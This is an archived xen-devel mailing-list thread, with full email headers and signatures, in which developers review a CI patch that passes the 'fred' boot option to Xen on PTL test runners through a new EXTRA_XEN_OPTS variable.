	=?utf-8?B?VUwyUWFPenFVWGtqZGRHSDBXajY0UkFXYUJDcG1XT0JuLzF4VHZXUlA2aUVv?=
 =?utf-8?B?azBWai90cUd1VkJCbHQ4emVDME1UQi91c3JCQlM3R1Jhc0ZJM3dncGs1cS9I?=
 =?utf-8?B?TXlGRjRWY2lQMXNDY2Y4VDNQQUhMQ2RjYlQ2U0hmU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mhpaVlneU9lMlBsamUybXFoS2ZwbVNLUUJPN1Vtejln?=
 =?utf-8?B?dGFRcGQwRG9ablVobGpuVkJzcHF4ZURxT3h5ZmF3YWJYTVZ4THpiaUkvMkY0?=
 =?utf-8?B?MDl0Q3hneDNFa1AxblU0K29WTzNGTWVQWVRyUWFnb2t5THpqZUhsS2VDVVVu?=
 =?utf-8?B?WmwxSTEveVVIdlBPd0Q0ak9iYzc3TWJvQVc2TUNIT25ySW5wWldpYnl0M0ZH?=
 =?utf-8?B?UGxzbUJKNUduSVNsdEJwbHJXZTBGVDk2K3VhVUJVaUQvTTJyc29MOGl4OUFn?=
 =?utf-8?B?a0d0MWw5TzNQQ1VWQWFLTEJlWkowcUJuaGNoYUdHQUpjRldlWkVmWWpqVkxW?=
 =?utf-8?B?OFZscUY5NE4rK0hKeWY2eWNQRWJFY1ZVcUVNdHJZUEppdFNkL2ViRWFOemdV?=
 =?utf-8?B?aEZWekpuYTdUeVNNcGFqT3NoVnJjakplN1ozTE5TMWZqUXQ2QXdNZz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: b279df02-9197-4467-d5da-08dede9e7015
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 16:15:20.0533
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: qm240yiaOzosKICsZ2Zxy4yiD7xaGVTGwSUGxv0EvoCNWyzjrpR9N6+ZVBjn1Kdk9CbbfMqzAZQKg6MCqIi1P8Fn2QicNztx2NAg8dS7ZUc=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH8PR03MB8324
X-purgate-ID: tlsNG-42698a/1783700124-A1FCF9ED-0B3FE912/0/0
X-purgate-type: clean
X-purgate-size: 3070

On 09/07/2026 8:57 pm, Marek Marczykowski-GÃ³recki wrote:
> Add new job-level EXTRA_XEN_OPTS variable, in addition to CONSOLE_OPTS.

This is stale, but easy to adjust.

> For now, add "fred" to all jobs running on PTL, but separate variable
> allows customizing it later on per-job basis.

"FRED is not yet enabled by default on Intel systems, but is expected to
function.Â  Explicitly turn it on for added test coverage in the short term."

The final task is to make MSR_SPEC_CTRL virtualisation for PV guests
work under FRED.Â  Right now, PV guests will lose speculation settings
they believe they have set, hence why FRED isn't supported on Intel yet.

>
> Signed-off-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
> ---
>  automation/gitlab-ci/test.yaml     | 1 +
>  automation/scripts/qubes-x86_64.sh | 4 ++--
>  2 files changed, 3 insertions(+), 2 deletions(-)
>
> diff --git a/automation/gitlab-ci/test.yaml b/automation/gitlab-ci/test.yaml
> index 7cc52146304e..61adc1baff30 100644
> --- a/automation/gitlab-ci/test.yaml
> +++ b/automation/gitlab-ci/test.yaml
> @@ -177,6 +177,7 @@
>      PCIDEV: "56:00.0"
>      PCIDEV_INTR: "MSI-X"
>      CONSOLE_OPTS: "console=com1 com1=115200,8n1"
> +    EXTRA_XEN_OPTS: "fred"
>      SUT_ADDR: test-22.testnet
>    tags:
>      - qubes-hw22
> diff --git a/automation/scripts/qubes-x86_64.sh b/automation/scripts/qubes-x86_64.sh
> index 7a59fa5f1116..065f03931bea 100755
> --- a/automation/scripts/qubes-x86_64.sh
> +++ b/automation/scripts/qubes-x86_64.sh
> @@ -260,14 +260,14 @@ TFTP=/scratch/gitlab-runner/tftp
>  CONTROLLER=control@thor.testnet
>  
>  echo "
> -multiboot2 (http)/gitlab-ci/xen $CONSOLE_OPTS loglvl=all guest_loglvl=all dom0_mem=4G console_timestamps=boot watchdog $extra_xen_opts
> +multiboot2 (http)/gitlab-ci/xen $CONSOLE_OPTS loglvl=all guest_loglvl=all dom0_mem=4G console_timestamps=boot watchdog ${EXTRA_XEN_OPTS-} $extra_xen_opts
>  module2 (http)/gitlab-ci/vmlinuz console=hvc0 root=/dev/ram0 earlyprintk=xen
>  module2 --nounzip (http)/gitlab-ci/initrd-dom0
>  " > $TFTP/grub.cfg
>  
>  echo "#!ipxe
>  
> -kernel /gitlab-ci/xen $CONSOLE_OPTS loglvl=all guest_loglvl=all dom0_mem=4G console_timestamps=boot watchdog $extra_xen_opts || reboot
> +kernel /gitlab-ci/xen $CONSOLE_OPTS loglvl=all guest_loglvl=all dom0_mem=4G console_timestamps=boot watchdog ${EXTRA_XEN_OPTS-} $extra_xen_opts || reboot
>  module /gitlab-ci/vmlinuz console=hvc0 root=/dev/ram0 earlyprintk=xen || reboot
>  module /gitlab-ci/initrd-dom0 || reboot
>  boot

Wouldn't this be better?

diff --git a/automation/scripts/qubes-x86_64.sh
b/automation/scripts/qubes-x86_64.sh
index 065f03931bea..9f8288cc02e3 100755
--- a/automation/scripts/qubes-x86_64.sh
+++ b/automation/scripts/qubes-x86_64.sh
@@ -15,7 +15,7 @@ set -ex -o pipefail
Â test_variant=$1
Â 
Â ### defaults
-extra_xen_opts=
+extra_xen_opts="${EXTRA_XEN_OPTS-}"
Â wait_and_wakeup=
Â timeout=120
Â domU_type="pvh"


Everything is expected to append to this variable.


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 16:23:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 16:23:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359639.1613130 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiE0q-0006CX-H8; Fri, 10 Jul 2026 16:23:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359639.1613130; Fri, 10 Jul 2026 16:23:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiE0q-0006CQ-DY; Fri, 10 Jul 2026 16:23:40 +0000
Received: by outflank-mailman (input) for mailman id 1359639;
 Fri, 10 Jul 2026 16:23:38 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1wiE0o-0006CF-IO
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 16:23:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiE0n-00023n-Fc
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 18:23:37 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a511c6b-2eae-0a2a0a5409dd-0a2a450cdb76-30
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 18:23:37 +0200
Received: from [202.12.124.158] (helo=fhigh-b7-smtp.messagingengine.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a511c87-e897-0a2a450c0019-ca0c7c9ed811-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 18:23:36 +0200
Received: from phl-compute-02.internal (phl-compute-02.internal [10.202.2.42])
 by mailfhigh.stl.internal (Postfix) with ESMTP id E9A947A0118;
 Fri, 10 Jul 2026 12:23:34 -0400 (EDT)
Received: from phl-frontend-03 ([10.202.2.162])
 by phl-compute-02.internal (MEProxy); Fri, 10 Jul 2026 12:23:35 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Fri,
 10 Jul 2026 12:23:33 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-type:content-type:date
	:date:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to; s=fm2; t=1783700614;
	 x=1783787014; bh=MmR78G3T+lvBwHqODoEmdnObjKdvoJoWCRwBlQzeBhs=; b=
	c4XGO8aQSYRrJmiior7VnvVVi2Wx0jXHlJTcyxScxtpDqhRkroeOnDR/YBUeNCxV
	2atweWl7Trr491QeSg2fb44ppc+yaTjzeJj9Oi1bIUxJ/vvJLYFmPcTOcSSuqrsp
	dkPir3byOGSPdIiUTlcId4Z80X6hGtuYRqTQgarqfcXrl621NcAi+s2qHkTKo2dT
	9bjOc8vchlMuARRaoeQ7/453rOGlrwwDoQv2OQl66skMzZrvX8oEzheB0uOeMRKp
	weUeHgDp7A4P1FfpT2z+6hmMNj6eBaieIQY/JJB7ZKcoSpXW9SU1luodgUlqJUHP
	cCcqWL0l8C2qvusdUgEJfw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-type:content-type:date:date
	:feedback-id:feedback-id:from:from:in-reply-to:in-reply-to
	:message-id:mime-version:references:reply-to:subject:subject:to
	:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=
	1783700614; x=1783787014; bh=MmR78G3T+lvBwHqODoEmdnObjKdvoJoWCRw
	BlQzeBhs=; b=BdFRIVFLDfKxHsXmRNIhUWb4jJ2xHz/GZVD47tH09Pciv+Kjj13
	A6nd2P4vv/zVnYkk2EbDfLuzGHdO9SA0ncbh7hA6cE3hMlpJq3IbT9DEFMLpQZtl
	ENJaKq4FAYZJ+jaTkcMiFBCmtLuxV+lVAl1e09UphRjZaLFfwXfiH58LxeoH060b
	1HzZT3/NeBrc8CD5hI4+BmHA5BsfSErENRMPnGjb0+Vvctomg5Ooj7KZ1FTRtaS2
	PmJWZIBn/469RuKC3xlhPkJgzNnb9qp6+Y6gkNFh1Q/vdUmAu6x+IbDRKrXvZ55P
	J3zsTYzp7JqpLpt5yACqM5zDHWAXiFWImTw==
X-ME-Sender: <xms:hhxRar23egHFMr9glz7UoEB2VcUJ4Pkrz5mssSXDYM6HleAw4ld6Cw>
    <xme:hhxRahHKvo0AXXeIX1sMq7gHNggx1lz5HCVwVxIyPBIr_5BKzJ3XNtBw6vcQP-QUw
    JouqHZVTC8GVY2gkrr4y0Vabt9Pe86KP8ZjK888k2_d8lrN>
X-ME-Received: <xmr:hhxRag5dXTcFMRmfm_zW-yG8lM9hhzT_lj0KBJkIGCrnGrw_srY8m_HMgrUr1ZZ6edOM0-nbMfnYCE1zCXVuNXUt0B82o4V8CGQ>
X-ME-Proxy-Cause: dmFkZTGo7G38IFv8/Lv8cP2oRxGJ4HQZ/2jElO3cuPpGGE8ZxY4aOMunllKuOtIgoM90i4
    1SfJNpfSHsQkbv1YkSdXVgu5dwluneVmjBIyTLs1zbB1P6G0AOkU6zMJaOJdS6Xj+JwbWZ
    8uAjmLOhAJeFNjDbwvbLfez5dwtNldP/pP49FqIJ6W4klhE1A94DHgahOZxRE+N5OgbBD7
    Y2ncwd3f6jQPPYVIEIVkYJGouCzMwkX3YLOHC0x+Gmu3Hu4M2J07h650sGlj0w69zzh+Xj
    9MoMnM5KOM8CbT2PFW9yZFXuyZlZ7s7mTwUdmT4OgrtNBhZoba29wEO3f8HreeI09dMHif
    p95ArYWP1A/gNjy1er9Zhs7hUyzPoF5FhCdf8HVkNfOfhZP3zupjAFFgOJMO2q56tBjjIX
    JTkYIFSddJku1JCRGQeVi9VP7e1WHFvpk9tk142m/hIAIFruF4hQknyqB/hfWd8dBDAXFE
    6IeSqkwr6zFKUnRMcIGBekTiedxfHA6lAJzqmpcFXaqQR3WKBOlJFu98uH1MccCX9iuT/2
    CrVjZxpunosFrGipkZ4XgGeMQ6fNF5CLQSMFjAxKZxmj73SLXoQYsP2QWfi5sTPtQPcllQ
    raYiv071RyiQrgtVd1qhCOCzvAxWgvWKmftwWJdrLF/ufHZ/ms5hu7aGVAMg
X-ME-Proxy: <xmx:hhxRavtAYzok_6zd4-kgUUPnJZrqOP6rzqt99NzIP967tCXg2sgZSQ>
    <xmx:hhxRap5iSUcxz6Kd4hgbd6anVP_u2BXJJL4SPoQEMVgZMyZQpM8Gag>
    <xmx:hhxRaiU_F4W5z2idRyn688vqiITiegBCBGTP09g65aj8F87thU25xQ>
    <xmx:hhxRaj80qGFAtvhBUNQeo70teM4QtQFpeaMNzRDireoqFaN8fO5VOg>
    <xmx:hhxRalDED-LYJaLtUeeYJ5NVekDv-pwOeXUcdrYLCNCk5k6fh31DZbKB>
Feedback-ID: i1568416f:Fastmail
Date: Fri, 10 Jul 2026 18:23:31 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Doug Goldstein <cardoe@cardoe.com>
Subject: Re: [PATCH 2/2] CI: enable FRED on PTL runner
Message-ID: <alEcgxY6fioaJFts@mail-itl>
References: <cover.2e3d53e8679d3686e3f6579df0c7acb781c92701.1783626895.git-series.marmarek@invisiblethingslab.com>
 <6f41b87651f282ac118c17b1562251f7d74c9496.1783626895.git-series.marmarek@invisiblethingslab.com>
 <ccc8ef59-d956-4a70-9fb9-bba241087c16@citrix.com>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="x+4OZEirrDOOzs7q"
Content-Disposition: inline
In-Reply-To: <ccc8ef59-d956-4a70-9fb9-bba241087c16@citrix.com>
X-purgate-ID: tlsNG-d25034/1783700617-577676B2-02089C4A/0/0
X-purgate-type: clean
X-purgate-size: 4830


--x+4OZEirrDOOzs7q
Content-Type: text/plain; protected-headers=v1; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Date: Fri, 10 Jul 2026 18:23:31 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Doug Goldstein <cardoe@cardoe.com>
Subject: Re: [PATCH 2/2] CI: enable FRED on PTL runner

On Fri, Jul 10, 2026 at 05:15:17PM +0100, Andrew Cooper wrote:
> On 09/07/2026 8:57 pm, Marek Marczykowski-G=C3=B3recki wrote:
> > Add new job-level EXTRA_XEN_OPTS variable, in addition to CONSOLE_OPTS.
>=20
> This is stale, but easy to adjust.

What do you mean stale? It is yet another job variable for adding Xen
options (previously it was only CONSOLE_OPTS).

> > For now, add "fred" to all jobs running on PTL, but separate variable
> > allows customizing it later on per-job basis.
>=20
> "FRED is not yet enabled by default on Intel systems, but is expected to
> function.=C2=A0 Explicitly turn it on for added test coverage in the shor=
t term."
>=20
> The final task is to make MSR_SPEC_CTRL virtualisation for PV guests
> work under FRED.=C2=A0 Right now, PV guests will lose speculation settings
> they believe they have set, hence why FRED isn't supported on Intel yet.
>=20
> >
> > Signed-off-by: Marek Marczykowski-G=C3=B3recki <marmarek@invisiblething=
slab.com>
> > ---
> >  automation/gitlab-ci/test.yaml     | 1 +
> >  automation/scripts/qubes-x86_64.sh | 4 ++--
> >  2 files changed, 3 insertions(+), 2 deletions(-)
> >
> > diff --git a/automation/gitlab-ci/test.yaml b/automation/gitlab-ci/test=
=2Eyaml
> > index 7cc52146304e..61adc1baff30 100644
> > --- a/automation/gitlab-ci/test.yaml
> > +++ b/automation/gitlab-ci/test.yaml
> > @@ -177,6 +177,7 @@
> >      PCIDEV: "56:00.0"
> >      PCIDEV_INTR: "MSI-X"
> >      CONSOLE_OPTS: "console=3Dcom1 com1=3D115200,8n1"
> > +    EXTRA_XEN_OPTS: "fred"
> >      SUT_ADDR: test-22.testnet
> >    tags:
> >      - qubes-hw22
> > diff --git a/automation/scripts/qubes-x86_64.sh b/automation/scripts/qu=
bes-x86_64.sh
> > index 7a59fa5f1116..065f03931bea 100755
> > --- a/automation/scripts/qubes-x86_64.sh
> > +++ b/automation/scripts/qubes-x86_64.sh
> > @@ -260,14 +260,14 @@ TFTP=3D/scratch/gitlab-runner/tftp
> >  CONTROLLER=3Dcontrol@thor.testnet
> > =20
> >  echo "
> > -multiboot2 (http)/gitlab-ci/xen $CONSOLE_OPTS loglvl=3Dall guest_loglv=
l=3Dall dom0_mem=3D4G console_timestamps=3Dboot watchdog $extra_xen_opts
> > +multiboot2 (http)/gitlab-ci/xen $CONSOLE_OPTS loglvl=3Dall guest_loglv=
l=3Dall dom0_mem=3D4G console_timestamps=3Dboot watchdog ${EXTRA_XEN_OPTS-}=
 $extra_xen_opts
> >  module2 (http)/gitlab-ci/vmlinuz console=3Dhvc0 root=3D/dev/ram0 early=
printk=3Dxen
> >  module2 --nounzip (http)/gitlab-ci/initrd-dom0
> >  " > $TFTP/grub.cfg
> > =20
> >  echo "#!ipxe
> > =20
> > -kernel /gitlab-ci/xen $CONSOLE_OPTS loglvl=3Dall guest_loglvl=3Dall do=
m0_mem=3D4G console_timestamps=3Dboot watchdog $extra_xen_opts || reboot
> > +kernel /gitlab-ci/xen $CONSOLE_OPTS loglvl=3Dall guest_loglvl=3Dall do=
m0_mem=3D4G console_timestamps=3Dboot watchdog ${EXTRA_XEN_OPTS-} $extra_xe=
n_opts || reboot
> >  module /gitlab-ci/vmlinuz console=3Dhvc0 root=3D/dev/ram0 earlyprintk=
=3Dxen || reboot
> >  module /gitlab-ci/initrd-dom0 || reboot
> >  boot
>=20
> Wouldn't this be better?
>=20
> diff --git a/automation/scripts/qubes-x86_64.sh
> b/automation/scripts/qubes-x86_64.sh
> index 065f03931bea..9f8288cc02e3 100755
> --- a/automation/scripts/qubes-x86_64.sh
> +++ b/automation/scripts/qubes-x86_64.sh
> @@ -15,7 +15,7 @@ set -ex -o pipefail
> =C2=A0test_variant=3D$1
> =C2=A0
> =C2=A0### defaults
> -extra_xen_opts=3D
> +extra_xen_opts=3D"${EXTRA_XEN_OPTS-}"
> =C2=A0wait_and_wakeup=3D
> =C2=A0timeout=3D120
> =C2=A0domU_type=3D"pvh"
>=20
>=20
> Everything is expected to append to this variable.

Well, currently nothing appends to it, all tests override it...

--=20
Best Regards,
Marek Marczykowski-G=C3=B3recki
Invisible Things Lab

--x+4OZEirrDOOzs7q
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEhrpukzGPukRmQqkK24/THMrX1ywFAmpRHIMACgkQ24/THMrX
1yyz3gf9EIA1xx+cwmPl2uaoC0FkxlYgMrDmZ8aexVJc9BdB0NhOvgFMR4sqNrKq
TdEMJcJ7KmOj9xWuWA6Wut5X55EBQ5/6EMUFlqhzK3/5frb+YMB/WFF61+kOyVKp
L6lFnn9IzZdRHN84EDVt2Z/yz605tDvKk/I3MPlIyTUL34Wf6WhFDxK2uaA1qZEY
Z5vd4u6BECEh2ZTrtRAU68ntiqB5Z5IvcGR39B/RYINeY9ovh5vX6DSVDzA26/pD
WQNQDteGmW3WaFcOpyl9W20zgLTwU4JjJOhucCvrqEI9LzI5sHPeYWVLD4noxMtr
3vJKODGmrsrpI8mSwCvtHGtxhBGviw==
=KvsM
-----END PGP SIGNATURE-----

--x+4OZEirrDOOzs7q--


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 16:27:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 16:27:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359647.1613138 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiE4m-0006mx-09; Fri, 10 Jul 2026 16:27:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359647.1613138; Fri, 10 Jul 2026 16:27:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiE4l-0006mq-Td; Fri, 10 Jul 2026 16:27:43 +0000
Received: by outflank-mailman (input) for mailman id 1359647;
 Fri, 10 Jul 2026 16:27:42 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wiE4k-0006lX-42
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 16:27:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiE4i-006qJZ-U5
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 18:27:40 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a511d76-2eae-0a2a0a5409dd-0a2a4508d65c-2
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 18:27:40 +0200
Received: from [40.107.208.34]
 (helo=PH0PR06CU001.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a511d7a-ee29-0a2a45080019-286bd022c215-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 18:27:40 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by MW4PR03MB6603.namprd03.prod.outlook.com (2603:10b6:303:12a::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Fri, 10 Jul
 2026 16:27:35 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Fri, 10 Jul 2026
 16:27:35 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=prYGLU6/ND9JPQ3em1XcCtkPBnmsvloyjtlY430AB9kG8JNSQYO74j+cVHZt95vvb7I5N7WzOoXlDSsGHMkN3yHBgr2ONlZOin2lzvivw5kH/a9n+GAjY95fPr1BdDuP4z+gPF0XWRsaeaUXHx37KvH/3Bm57SwP48R7kxrWpJwTkUQhTaJocMPSMS++qE96OoDrwpCTSCvwbWXSORCAgFEObkCpCTyT9QGjnD8nzmRlr+uY4E5en6v7VpROONVYJuZyMult5BKMugVPNlit7xxoRx2wN5vCUKwfWAdVPvn5aS3Et/UjbtE7qlVrEV4cO2/VXUUaYQaVRMdENwJtXQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=+pV8Ck/RkA66Q/+t0e8+0qjlQ11ixC1OnBth6QY03h8=;
 b=hVck3G+yNmS2bi2Dgv523ICZh9PfE9iHQk9b0Ffb7wtEUQO9qeBQKedUY9v9/C8Z5H3ZWm150MurLQGBRjIbYfRZeMnCK5akCnb77/krM/c6N2ExXu0WA0JLgLPaLVbiK/2ky+aKXuFObhh0NHd0KdKpzJbxBmrbZZZXr6ATwPGyf2eiO6bNgi4Wg8iUIbG4HYAQIMhpSYlRXVAZiBtBQEE8z/9OryW4OMX0iAn19JP4q7mNK96D30l+fR+Jmavpf2bF1SXd73qZ+7KBUZWo3NU8f1SheJYfadqBDSsZl69naCVjkfZZwcgqqLnPNSuaorx1qdN1LhTmgU34jcAn7A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=+pV8Ck/RkA66Q/+t0e8+0qjlQ11ixC1OnBth6QY03h8=;
 b=l/85V9Bx4KOHODYZ7OLR04vF818P9CXkj6J5E0y6b2PIVsCcCcIpCAzfetdHG41f6TlJQY9tQ3uv5Of1JREUuZ1cseZwnLNL2u89arsY7EIectS1OpX0nQS57+1mt4PRr13Vrw24d4DM3oxOZMaO7qNLU4TOxxm1Hfscd9jK0MY=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <ff05243a-6d8a-472a-a067-26293c233923@citrix.com>
Date: Fri, 10 Jul 2026 17:27:32 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 xen-devel@lists.xenproject.org, Stefano Stabellini <sstabellini@kernel.org>,
 Doug Goldstein <cardoe@cardoe.com>
Subject: Re: [PATCH 2/2] CI: enable FRED on PTL runner
To: =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>
References: <cover.2e3d53e8679d3686e3f6579df0c7acb781c92701.1783626895.git-series.marmarek@invisiblethingslab.com>
 <6f41b87651f282ac118c17b1562251f7d74c9496.1783626895.git-series.marmarek@invisiblethingslab.com>
 <ccc8ef59-d956-4a70-9fb9-bba241087c16@citrix.com> <alEcgxY6fioaJFts@mail-itl>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+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XDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
